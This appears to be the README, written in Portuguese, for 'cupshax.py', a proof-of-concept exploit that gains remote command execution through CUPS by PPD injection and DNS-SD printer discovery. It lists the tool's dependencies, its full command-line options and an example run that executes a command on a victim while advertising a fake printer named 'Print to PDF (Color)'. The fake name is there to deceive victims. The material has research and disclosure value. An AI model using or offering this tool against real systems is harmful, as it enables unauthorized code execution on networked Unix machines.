
Prova de conceito rápida para a exploração recente do CUPS que permite execução remota de código via injeção de PPD e descoberta de impressoras via DNS-SD. Executa comandos arbitrários em sistemas Unix vulneráveis.
Prova de conceito rápida para o exploit recente do CUPS. Eu planejava limpá-lo muito mais, mas o embargo foi levantado muito antes do esperado, então o código está um pouco corrido.
Para todos os detalhes técnicos, sinceramente, você deveria apenas ler o artigo do Evilsocket.
Este exploit foi escrito após identificar este commit no repositório público OpenPrinting CUPS. Provavelmente existem pontos de injeção mais limpos.
Este PoC usa a descoberta de impressoras via dns-sd, portanto o alvo deve ser capaz de receber a mensagem de broadcast, ou seja, estar na mesma rede.
O exploit usa zeroconf e ippserver, ambos podem ser instalados via pip.
usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT] [--base64 | --no-base64]
A CUPS PPD injection PoC
options:
-h, --help show this help message and exit
--name NAME The name to use (default: RCE Printer)
--ip IP The IP address of the machine running this script
--command COMMAND The command to execute (default: 'touch /tmp/pwn')
--port PORT The port to connect on (default: 8631)
--base64, --no-base64
Wrap the command in base64 (default: enabled)
Por exemplo:
python cupshax.py --name "Print to PDF (Color)" \
--command "id>/tmp/pwn" \
--ip 10.0.0.3